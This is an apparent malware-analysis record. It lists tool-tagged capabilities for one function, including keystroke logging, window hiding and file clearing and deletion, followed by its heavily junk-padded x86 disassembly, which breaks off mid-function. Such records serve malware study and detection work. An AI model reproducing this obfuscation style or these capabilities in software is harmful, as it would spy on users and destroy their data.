Function at 0x471956
Capabilities:
Accept command line arguments
Clear file content
Create pipe
Create two anonymous pipes
Delete file
Extract resource via kernel32 functions
Get common file path
Get disk size
Get file size
Get file system object information
Get geographical location
Get system information on windows
Hide graphical window
Log keystrokes via polling
Query environment variable
Set environment variable
Suspend thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x414c
call fcn.004ad7c0
push esi
push edi
mov dword [ebp - 0x301c], 1
mov dword [ebp - 0x3018], 1
mov dword [ebp - 0x3014], 1
mov dword [ebp - 0x3010], 1
lea ecx, [ebp - 0xd01]
call fcn.00435541
push eax
lea eax, [ebp - 0x300c]
push eax
lea eax, [ebp - 0x301c]
push eax
lea ecx, [ebp - 0x3fbc]
call fcn.00435544
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3978]
call fcn.004354f0
mov dword [ebp - 0x52c], 0x29000d4e
mov dword [ebp - 0x3d7c], 0xe550
mov dword [ebp - 0x52c], 0
jmp 0x4719ef
mov eax, dword [ebp - 0x52c]
inc eax
mov dword [ebp - 0x52c], eax
cmp dword [ebp - 0x52c], 3
jg 0x471a12
push dword [ebp - 0x52c]
lea ecx, [ebp - 0x3978]
call fcn.00435532
cmp dword [eax], 0
je 0x471a10
jmp 0x471a12
jmp 0x4719e2
lea ecx, [ebp - 0x3978]
call fcn.00435516
mov dword [ebp - 0x2488], 0x95751cfd
mov dword [ebp - 0x458], 0xb969b42c
mov dword [ebp - 0x2440], 3
mov dword [ebp - 0x2480], 0
mov dword [ebp - 0xab4], 0
mov dword [ebp - 0x24a8], 0
mov dword [ebp - 0x94], 0
jmp 0x471a72
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jge 0x471a8b
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x2c], 9
jmp 0x471a65
mov dword [ebp - 0x94], 0
jmp 0x471aa4
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 2
jge 0x471ac0
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x2720], 0xffffffff
jmp 0x471a97
mov dword [ebp - 0x94], 0
jmp 0x471ad9
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 2
jge 0x471af5
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x38d8], 0xfa7ad11e
jmp 0x471acc
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
mov dword [ebp - 0x386c], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x2c]
cmp dword [ebp + eax - 0x2c], ecx
jle 0x471b27
mov dword [ebp - 0x20bc], 1
jmp 0x471b2e
and dword [ebp - 0x20bc], 0
cmp dword [ebp - 0x20bc], 0x5734cb44
jge 0x471b46
mov dword [ebp - 0x2430], 1
jmp 0x471b4d
and dword [ebp - 0x2430], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x2c]
add ecx, dword [ebp - 0x2430]
imul eax, ecx
mov dword [ebp - 0x458], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
cmp dword [ebp - 0x458], eax
jge 0x471b8e
mov dword [ebp - 0x2438], 1
jmp 0x471b95
and dword [ebp - 0x2438], 0
mov eax, dword [ebp - 0x2438]
mov dword [ebp - 0x2440], eax
mov eax, dword [ebp - 0x2440]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x2c]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x2c]
jg 0x471bc9
mov dword [ebp - 0xd00], 1
jmp 0x471bd0
and dword [ebp - 0xd00], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd00]
mov dword [ebp + eax - 0x2720], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd00]
sub ecx, dword [ebp + eax - 0x2c]
push 4
pop eax
imul eax, eax, 0
cmp ecx, dword [ebp + eax - 0x2c]
jle 0x471c0b
mov dword [ebp - 0x2448], 1
jmp 0x471c12
and dword [ebp - 0x2448], 0
cmp dword [ebp - 0x2448], 0xffffffff
jb 0x471c27
mov dword [ebp - 0x2450], 1
jmp 0x471c2e
and dword [ebp - 0x2450], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
cmp dword [ebp - 0x2450], eax
je 0x471c55
cmp dword [ebp - 0x2480], 0
je 0x471c55
mov dword [ebp - 0x2458], 1
jmp 0x471c5c
and dword [ebp - 0x2458], 0
cmp dword [ebp - 0x2458], 0xfffffff8
je 0x471c71
mov dword [ebp - 0x2460], 1
jmp 0x471c78
and dword [ebp - 0x2460], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
imul eax, dword [ebp - 0x2460]
mov dword [ebp - 0x2480], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
mov dword [ebp - 0x2488], eax
mov eax, dword [ebp - 0x2488]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x2720]
mov dword [ebp - 0xab4], eax
jne 0x471cd0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c], 0
jne 0x471cd0
and dword [ebp - 0x2490], 0
jmp 0x471cda
mov dword [ebp - 0x2490], 1
mov eax, dword [ebp - 0x2490]
dec eax
mov dword [ebp - 0x2498], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2498]
mov dword [ebp + eax - 0x38d8], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
cmp eax, dword [ebp - 0x2498]
jle 0x471d18
mov dword [ebp - 0x24a0], 1
jmp 0x471d1f
and dword [ebp - 0x24a0], 0
mov eax, dword [ebp - 0x24a0]
add eax, 0x47c21c83
mov dword [ebp - 0x24a8], eax
cmp dword [ebp - 0x24a8], 0xe26
jle 0x471d48
mov dword [ebp - 0x24b0], 1
jmp 0x471d4f
and dword [ebp - 0x24b0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
cmp dword [ebp - 0x24b0], eax
je 0x471d6d
mov dword [ebp - 0x24b8], 1
jmp 0x471d74
and dword [ebp - 0x24b8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c]
cmp dword [ebp - 0x24b8], eax
je 0x471d92
mov dword [ebp - 0x24c0], 1
jmp 0x471d99
and dword [ebp - 0x24c0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x24c0]
mov dword [ebp + eax - 0x2c], ecx
mov dword [ebp - 0x458], 0
jmp 0x471dc2
mov eax, dword [ebp - 0x458]
dec eax
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 0xffffffe9
jle 0x471e2c
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2720]
mov dword [ebp - 0x3d14], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2720], 0xde1f1717
jb 0x471dfd
mov dword [ebp - 0x24c8], 1
jmp 0x471e04
and dword [ebp - 0x24c8], 0
mov eax, dword [ebp - 0x24c8]
mov dword [ebp - 0xab4], eax
mov byte [ebp - 0x438], 0
movzx eax, byte [ebp - 0x438]
test eax, eax
je 0x471e2a
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
jmp 0x471db5
mov dword [ebp - 0x2d4], 2
mov dword [ebp - 0x24d8], 0x9fa85f8
mov dword [ebp - 0x24e0], 4
mov dword [ebp - 0x2894], 0xfaa23240
mov dword [ebp - 0x654], 0
jmp 0x471e6d
mov eax, dword [ebp - 0x654]
inc eax
mov dword [ebp - 0x654], eax
cmp dword [ebp - 0x654], 2
jge 0x471e89
mov eax, dword [ebp - 0x654]
mov dword [ebp + eax*4 - 0x246c], 0xb26b
jmp 0x471e60
mov dword [ebp - 0x2d4], 0
jmp 0x471ea2
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 2
jge 0x471ebe
mov eax, dword [ebp - 0x2d4]
mov dword [ebp + eax*4 - 0x246c], 0xffff
jmp 0x471e95
mov eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x3874], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x246c], 0
je 0x471ef6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x246c], 0
je 0x471ef6
mov dword [ebp - 0x24d0], 1
jmp 0x471efd
and dword [ebp - 0x24d0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x246c]
cmp dword [ebp - 0x24d0], eax
jne 0x471f1e
mov dword [ebp - 0x27cc], 1
jmp 0x471f25
and dword [ebp - 0x27cc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x246c]
mov dword [ebp - 0x24d8], eax
mov eax, dword [ebp - 0x24d8]
mov dword [ebp - 0x3c00], eax
cmp dword [ebp - 0x24e0], 0
jne 0x471f5f
mov eax, 0x3f12
test eax, eax
jne 0x471f5f
and dword [ebp - 0x24e8], 0
jmp 0x471f69
mov dword [ebp - 0x24e8], 1
mov eax, dword [ebp - 0x24e0]
cmp dword [ebp - 0x24e8], eax
jle 0x471f83
mov dword [ebp - 0x24f0], 1
jmp 0x471f8a
and dword [ebp - 0x24f0], 0
mov dword [ebp - 0x2d4], 0xfff6
cmp dword [ebp - 0x2d4], 0
jl 0x471fa9
mov dword [ebp - 0x24f8], 1
jmp 0x471fb0
and dword [ebp - 0x24f8], 0
cmp dword [ebp - 0x24f8], 0xffffffff
jb 0x471fc0
push 4
pop eax
test eax, eax
je 0x471fd1
or eax, 0xffffffff
je 0x471fd1
mov dword [ebp - 0x2500], 1
jmp 0x471fd8
and dword [ebp - 0x2500], 0
mov eax, dword [ebp - 0x2500]
mov dword [ebp - 0x2894], eax
mov dword [ebp - 0x310c], 1
mov dword [ebp - 0x3108], 1
mov dword [ebp - 0x3104], 1
mov dword [ebp - 0x3100], 1
lea ecx, [ebp - 0xa8d]
call fcn.00435541
push eax
lea eax, [ebp - 0x30fc]
push eax
lea eax, [ebp - 0x310c]
push eax
lea ecx, [ebp - 0x403c]
call fcn.00435544
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3988]
call fcn.004354f0
mov dword [ebp - 0x5b4], 0x29000d4e
mov dword [ebp - 0x154], 0xfffffff6
mov dword [ebp - 0x658], 0
jmp 0x47206e
mov eax, dword [ebp - 0x658]
inc eax
mov dword [ebp - 0x658], eax
cmp dword [ebp - 0x658], 1
jge 0x47208a
mov eax, dword [ebp - 0x658]
mov dword [ebp + eax*4 - 0x2510], 0xa619
jmp 0x472061
mov dword [ebp - 0x154], 0
jmp 0x4720a3
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 1
jge 0x4720bf
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x2510], 0xffffffff
jmp 0x472096
mov dword [ebp - 0x154], 0
jmp 0x4720d8
mov eax, dword [ebp - 0x154]
dec eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xffffffff
jg 0x472312
push 4
lea ecx, [ebp - 0x3248]
call fcn.00435444
mov dword [ebp - 0x188], 0
jmp 0x47210b
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 1
jge 0x472127
mov eax, dword [ebp - 0x188]
mov dword [ebp + eax*4 - 0x31c], 0xc3099cf
jmp 0x4720fe
mov dword [ebp - 0x188], 0
jmp 0x472140
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 4
jge 0x472162
push dword [ebp - 0x188]
lea ecx, [ebp - 0x3248]
call fcn.00435532
mov dword [eax], 0x65786371
jmp 0x472133
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x31c], 0
jmp 0x472190
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x31c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x31c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x31c], 0x18
jl 0x472302
mov dword [ebp - 0x84c], 0x44ad
mov dword [ebp - 0x289c], 0xffffffff
mov dword [ebp - 0x28ac], 1
mov eax, dword [ebp - 0x84c]
mov dword [ebp - 0x289c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x31c]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x31c]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x31c]
jle 0x472204
mov dword [ebp - 0x2508], 1
jmp 0x47220b
and dword [ebp - 0x2508], 0
mov esi, dword [ebp - 0x84c]
add esi, dword [ebp - 0x2508]
push 1
lea ecx, [ebp - 0x3248]
call fcn.00435532
cmp esi, dword [eax]
je 0x472234
mov dword [ebp - 0x28a4], 1
jmp 0x47223b
and dword [ebp - 0x28a4], 0
mov eax, dword [ebp - 0x84c]
mov dword [ebp - 0x387c], eax
xor eax, eax
je 0x472260
mov eax, 0xcf5aa05d
test eax, eax
je 0x472260
mov dword [ebp - 0x2518], 1
jmp 0x472267
and dword [ebp - 0x2518], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2510]
cmp dword [ebp - 0x2518], eax
jg 0x472288
mov dword [ebp - 0x2520], 1
jmp 0x47228f
and dword [ebp - 0x2520], 0
cmp dword [ebp - 0x2520], 0
jl 0x4722a4
mov dword [ebp - 0x2528], 1
jmp 0x4722ab
and dword [ebp - 0x2528], 0
mov eax, dword [ebp - 0x84c]
cmp eax, dword [ebp - 0x2528]
jle 0x4722ce
cmp dword [ebp - 0x154], 0
je 0x4722ce
mov dword [ebp - 0x2530], 1
jmp 0x4722d5
and dword [ebp - 0x2530], 0
mov eax, dword [ebp - 0x2530]
mov dword [ebp - 0x28ac], eax
mov byte [ebp - 0x43f], 0
movzx eax, byte [ebp - 0x43f]
test eax, eax
je 0x4722fd
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
jmp 0x472175
lea ecx, [ebp - 0x3248]
call fcn.00435516
jmp 0x4720cb
mov dword [ebp - 0x3e1c], 0xe550
mov dword [ebp - 0x104], 0xffffffff
mov dword [ebp - 0x28dc], 1
mov dword [ebp - 0x3884], 0x7f20bab1
mov dword [ebp - 0x3c08], 0x9783
mov dword [ebp - 0x388c], 0xffffffff
mov dword [ebp - 0x660], 0
jmp 0x472367
mov eax, dword [ebp - 0x660]
inc eax
mov dword [ebp - 0x660], eax
cmp dword [ebp - 0x660], 3
jge 0x472383
mov eax, dword [ebp - 0x660]
mov dword [ebp + eax*4 - 0x3e74], 0xbf7935db
jmp 0x47235a
mov dword [ebp - 0x104], 0
jmp 0x47239c
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x1c
jne 0x4727b0
mov dword [ebp - 0xe4], 0x9bf3
mov dword [ebp - 0x1e90], 0xdc1094d0
mov dword [ebp - 0x25c], 0x3e32
mov dword [ebp - 0x838], 0
jmp 0x4723e0
mov eax, dword [ebp - 0x838]
inc eax
mov dword [ebp - 0x838], eax
cmp dword [ebp - 0x838], 3
jge 0x4723fc
mov eax, dword [ebp - 0x838]
mov dword [ebp + eax*4 - 0x2cac], 1
jmp 0x4723d3
cmp dword [ebp - 0xe4], 0
je 0x47241a
cmp dword [ebp - 0x104], 0
je 0x47241a
mov dword [ebp - 0x28b4], 1
jmp 0x472421
and dword [ebp - 0x28b4], 0
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x104], eax
jne 0x47243b
mov dword [ebp - 0x28bc], 1
jmp 0x472442
and dword [ebp - 0x28bc], 0
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x3d28], eax
cmp dword [ebp - 0x104], 0x703c
jne 0x472466
mov dword [ebp - 0x2538], 1
jmp 0x47246d
and dword [ebp - 0x2538], 0
mov eax, dword [ebp - 0x2538]
sub eax, 9
cmp eax, dword [ebp - 0x104]
jne 0x47248a
mov dword [ebp - 0x2540], 1
jmp 0x472491
and dword [ebp - 0x2540], 0
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x2540], eax
je 0x4724ab
mov dword [ebp - 0x2548], 1
jmp 0x4724b2
and dword [ebp - 0x2548], 0
cmp dword [ebp - 0x2548], 0x11fc80ae
jge 0x4724ca
mov dword [ebp - 0x2550], 1
jmp 0x4724d1
and dword [ebp - 0x2550], 0
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x2550]
jne 0x4724eb
mov dword [ebp - 0x23bc], 1
jmp 0x4724f2
and dword [ebp - 0x23bc], 0
cmp dword [ebp - 0x23bc], 0
je 0x472507
mov dword [ebp - 0xd94], 1
jmp 0x47250e
and dword [ebp - 0xd94], 0
mov eax, dword [ebp - 0x104]
cmp dword [ebp - 0xd94], eax
jl 0x472531
cmp dword [ebp - 0xe4], 0
je 0x472531
mov dword [ebp - 0x28c4], 1
jmp 0x472538
and dword [ebp - 0x28c4], 0
xor eax, eax
add eax, 4
add eax, dword [ebp - 0x104]
imul eax, dword [ebp - 0x1e90]
cmp eax, 0xffffffff
jb 0x47255b
mov dword [ebp - 0x1e88], 1
jmp 0x472562
and dword [ebp - 0x1e88], 0
mov eax, dword [ebp - 0x25c]
cmp dword [ebp - 0x1e88], eax
jne 0x47257c
mov dword [ebp - 0x28cc], 1
jmp 0x472583
and dword [ebp - 0x28cc], 0
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x3894], eax
cmp dword [ebp - 0x25c], 0
je 0x47276c
mov dword [ebp - 0x3c10], 0x2ac30bca
mov dword [ebp - 0x389c], 0xbab72157
mov dword [ebp - 0x3dcc], 0x94fb389f
mov dword [ebp - 0x28d4], 1
mov dword [ebp - 0x38a4], 0
mov dword [ebp - 0x25c], 2
jmp 0x4725e7
mov eax, dword [ebp - 0x25c]
dec eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0
jl 0x47261b
mov dword [ebp - 0xd9c], 0x8a0f8393
mov eax, dword [ebp - 0xd9c]
dec eax
mov dword [ebp - 0xd9c], eax
mov eax, dword [ebp - 0x25c]
cmp dword [ebp + eax*4 - 0x3e74], 0
je 0x472619
jmp 0x4725da
jmp 0x4725da
mov dword [ebp - 0xe4], 0
jmp 0x472634
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 2
jg 0x47276a
mov dword [ebp - 0xdb4], 0x5c00d4b
mov eax, dword [ebp - 0x25c]
cmp dword [ebp - 0x28d4], eax
jg 0x472665
mov dword [ebp - 0xda4], 1
jmp 0x47266c
and dword [ebp - 0xda4], 0
mov eax, dword [ebp - 0x1e90]
cmp eax, dword [ebp - 0xda4]
jne 0x472686
mov dword [ebp - 0x1e98], 1
jmp 0x47268d
and dword [ebp - 0x1e98], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2cac]
cmp dword [ebp - 0x1e98], eax
jne 0x4726ae
mov dword [ebp - 0xdac], 1
jmp 0x4726b5
and dword [ebp - 0xdac], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0xdac]
sub edx, dword [ebp + ecx - 0x2cac]
cmp dword [ebp + eax - 0x2cac], edx
jle 0x4726e9
cmp dword [ebp - 0xdb4], 0
jne 0x4726e9
and dword [ebp - 0x1ea0], 0
jmp 0x4726f3
mov dword [ebp - 0x1ea0], 1
cmp dword [ebp - 0x1ea0], 0x70c0f3ad
jg 0x47270b
mov dword [ebp - 0x1ea8], 1
jmp 0x472712
and dword [ebp - 0x1ea8], 0
mov eax, dword [ebp - 0xdb4]
cmp dword [ebp - 0x1ea8], eax
jne 0x47272c
mov dword [ebp - 0xdbc], 1
jmp 0x472733
and dword [ebp - 0xdbc], 0
cmp dword [ebp - 0xdbc], 0xfa0b
jl 0x47274b
mov dword [ebp - 0x1eb0], 1
jmp 0x472752
and dword [ebp - 0x1eb0], 0
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x1eb0]
mov dword [ebp + eax*4 - 0x2cac], ecx
jmp 0x472627
jmp 0x4727ab
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2cac], 0xf32651ef
mov dword [ebp - 0x28dc], 0xf32651ef
mov byte [ebp - 0x3e5], 0
movzx eax, byte [ebp - 0x3e5]
test eax, eax
je 0x4727ab
push 0
push 0x1f37
push 0x523
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
jmp 0x47238f
mov byte [ebp - 0x441], 0
movzx eax, byte [ebp - 0x441]
test eax, eax
je 0x4727dd
push 0x19bc
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
mov dword [ebp - 0x5b4], 0
jmp 0x4727f6
mov eax, dword [ebp - 0x5b4]
inc eax
mov dword [ebp - 0x5b4], eax
cmp dword [ebp - 0x5b4], 3
jg 0x472d3d
mov dword [ebp - 0x520], 0xca4f833f
mov dword [ebp - 0x28e4], 0x123d4a1c
mov dword [ebp - 0x668], 0
jmp 0x472830
mov eax, dword [ebp - 0x668]
inc eax
mov dword [ebp - 0x668], eax
cmp dword [ebp - 0x668], 3
jge 0x47284c
mov eax, dword [ebp - 0x668]
mov dword [ebp + eax*4 - 0x2560], 1
jmp 0x472823
mov dword [ebp - 0x520], 2
jmp 0x472865
mov eax, dword [ebp - 0x520]
dec eax
mov dword [ebp - 0x520], eax
cmp dword [ebp - 0x520], 0
jl 0x472948
mov dword [ebp - 0x3044], 1
mov dword [ebp - 0x3040], 1
mov dword [ebp - 0x303c], 1
mov dword [ebp - 0x3038], 1
lea ecx, [ebp - 0xc6e]
call fcn.00435541
push eax
lea eax, [ebp - 0x3034]
push eax
lea eax, [ebp - 0x3044]
push eax
lea ecx, [ebp - 0x4054]
call fcn.00435544
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2ea4]
call fcn.004354f0
push 2
lea ecx, [ebp - 0x2ea4]
call fcn.00435532
mov dword [eax], 2
jmp 0x472908
push 2
lea ecx, [ebp - 0x2ea4]
call fcn.00435532
mov dword [ebp - 0xdc4], eax
mov eax, dword [ebp - 0xdc4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xdc4]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x2ea4]
call fcn.00435532
cmp dword [eax], 0
jl 0x472938
mov byte [ebp - 0x3ed], 0
movzx eax, byte [ebp - 0x3ed]
test eax, eax
je 0x472936
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
jmp 0x4728e4
lea ecx, [ebp - 0x2ea4]
call fcn.00435516
jmp 0x472858
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2560]
mov dword [ebp - 0x3c18], eax
mov eax, 0x5b263d18
neg eax
mov dword [ebp - 0x520], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2560]
cmp dword [ebp - 0x520], eax
je 0x472988
mov dword [ebp - 0x1eb8], 1
jmp 0x47298f
and dword [ebp - 0x1eb8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2560]
mov dword [ebp - 0x38ac], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2560]
mov dword [ebp - 0x3d3c], eax
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x2560]
cmp dword [ebp + eax - 0x2560], ecx
jge 0x4729db
mov dword [ebp - 0xdcc], 1
jmp 0x4729e2
and dword [ebp - 0xdcc], 0
mov eax, dword [ebp - 0x1eb8]
cmp eax, dword [ebp - 0xdcc]
jge 0x4729fc
mov dword [ebp - 0x1ec0], 1
jmp 0x472a03
and dword [ebp - 0x1ec0], 0
imul eax, dword [ebp - 0x1ec0], 0x31a
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x2560]
jle 0x472a28
mov dword [ebp - 0xdd4], 1
jmp 0x472a2f
and dword [ebp - 0xdd4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2560]
cmp dword [ebp - 0xdd4], eax
jl 0x472a50
mov dword [ebp - 0x1ec8], 1
jmp 0x472a57
and dword [ebp - 0x1ec8], 0
mov eax, dword [ebp - 0x1ec8]
mov dword [ebp - 0x28e4], eax
push 1
lea ecx, [ebp - 0x2678]
call fcn.00435444
mov dword [ebp - 0x1e8], 0x81c2900
mov dword [ebp - 0x1ed8], 0
mov dword [ebp - 0x988], 0
jmp 0x472a9d
mov eax, dword [ebp - 0x988]
inc eax
mov dword [ebp - 0x988], eax
cmp dword [ebp - 0x988], 1
jge 0x472abf
push dword [ebp - 0x988]
lea ecx, [ebp - 0x2678]
call fcn.00435532
mov dword [eax], 0x1713b910
jmp 0x472a90
mov dword [ebp - 0x1e8], 0
jmp 0x472ad8
mov eax, dword [ebp - 0x1e8]
dec eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0
jl 0x472d15
mov dword [ebp - 0x38b4], 0xbe54
mov dword [ebp - 0x3c20], 0x30fc353
push 3
lea ecx, [ebp - 0x3320]
call fcn.00435444
mov dword [ebp - 0x670], 0
jmp 0x472b1f
mov eax, dword [ebp - 0x670]
inc eax
mov dword [ebp - 0x670], eax
cmp dword [ebp - 0x670], 3
jge 0x472b41
push dword [ebp - 0x670]
lea ecx, [ebp - 0x3320]
call fcn.00435532
mov dword [eax], 0x6a218f0e
jmp 0x472b12
push dword [ebp - 0x1e8]
lea ecx, [ebp - 0x2678]
call fcn.00435532
mov eax, dword [eax]
neg eax
jne 0x472b64
mov dword [ebp - 0xdf4], 1
jmp 0x472b6b
and dword [ebp - 0xdf4], 0
push dword [ebp - 0x1e8]
lea ecx, [ebp - 0x2678]
call fcn.00435532
cmp dword [eax], 0
jae 0x472b8d
mov dword [ebp - 0xddc], 1
jmp 0x472b94
and dword [ebp - 0xddc], 0
push 0
lea ecx, [ebp - 0x2678]
call fcn.00435532
mov ecx, dword [ebp - 0xddc]
cmp ecx, dword [eax]
je 0x472bb7
mov dword [ebp - 0x1ed0], 1
jmp 0x472bbe
and dword [ebp - 0x1ed0], 0
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0x1ed0], eax
jne 0x472bd8
mov dword [ebp - 0xde4], 1
jmp 0x472bdf
and dword [ebp - 0xde4], 0
mov eax, dword [ebp - 0xde4]
mov dword [ebp - 0x1ed8], eax
cmp dword [ebp - 0x1ed8], 1
jl 0x472c00
mov dword [ebp - 0xdec], 1
jmp 0x472c07
and dword [ebp - 0xdec], 0
xor esi, esi
inc esi
sub esi, dword [ebp - 0xdec]
push dword [ebp - 0x1e8]
lea ecx, [ebp - 0x2678]
call fcn.00435532
cmp esi, dword [eax]
jge 0x472c31
mov dword [ebp - 0x1ee0], 1
jmp 0x472c38
and dword [ebp - 0x1ee0], 0
push dword [ebp - 0x1e8]
lea ecx, [ebp - 0x2678]
call fcn.00435532
mov ecx, dword [ebp - 0x1ee0]
cmp ecx, dword [eax]
jle 0x472c5f
mov dword [ebp - 0x1ee8], 1
jmp 0x472c66
and dword [ebp - 0x1ee8], 0
mov eax, dword [ebp - 0xdf4]
add eax, dword [ebp - 0x1ee8]
je 0x472c8e
mov byte [ebp - 0x2da], 0
movzx eax, byte [ebp - 0x2da]
test eax, eax
je 0x472c8c
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
jmp 0x472d05
mov dword [ebp - 0x38bc], 0x4dbf0cf8
mov dword [ebp - 0x3e04], 1
mov dword [ebp - 0x38c4], 0xfffffffd
mov dword [ebp - 0x840], 0
jmp 0x472cc5
mov eax, dword [ebp - 0x840]
inc eax
mov dword [ebp - 0x840], eax
cmp dword [ebp - 0x840], 1
jge 0x472ce1
mov eax, dword [ebp - 0x840]
mov dword [ebp + eax*4 - 0x3c28], 0xffffffff
jmp 0x472cb8
push 2
lea ecx, [ebp - 0x3320]
call fcn.00435532
mov dword [ebp - 0xdfc], eax
mov eax, dword [ebp - 0xdfc]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xdfc]
mov dword [ecx], eax
lea ecx, [ebp - 0x3320]
call fcn.00435516
jmp 0x472acb
lea ecx, [ebp - 0x2678]
call fcn.00435516
push dword [ebp - 0x5b4]
lea ecx, [ebp - 0x3988]
call fcn.00435532
cmp dword [eax], 0
je 0x472d38
jmp 0x472d3d
jmp 0x4727e9
lea ecx, [ebp - 0x3988]
call fcn.00435516
push 2
lea ecx, [ebp - 0x26e4]
call fcn.00435444
mov dword [ebp - 0xbe4], 0xffffffff
mov dword [ebp - 0x1f20], 0xa9c4c8d3
mov dword [ebp - 0x28fc], 0x4bf8f0aa
mov dword [ebp - 0xe2c], 0xbf2121f9
mov dword [ebp - 0x1ef8], 1
mov dword [ebp - 0x28f4], 0x15d7249a
mov dword [ebp - 0xe04], 2
mov dword [ebp - 0x678], 0
jmp 0x472db4
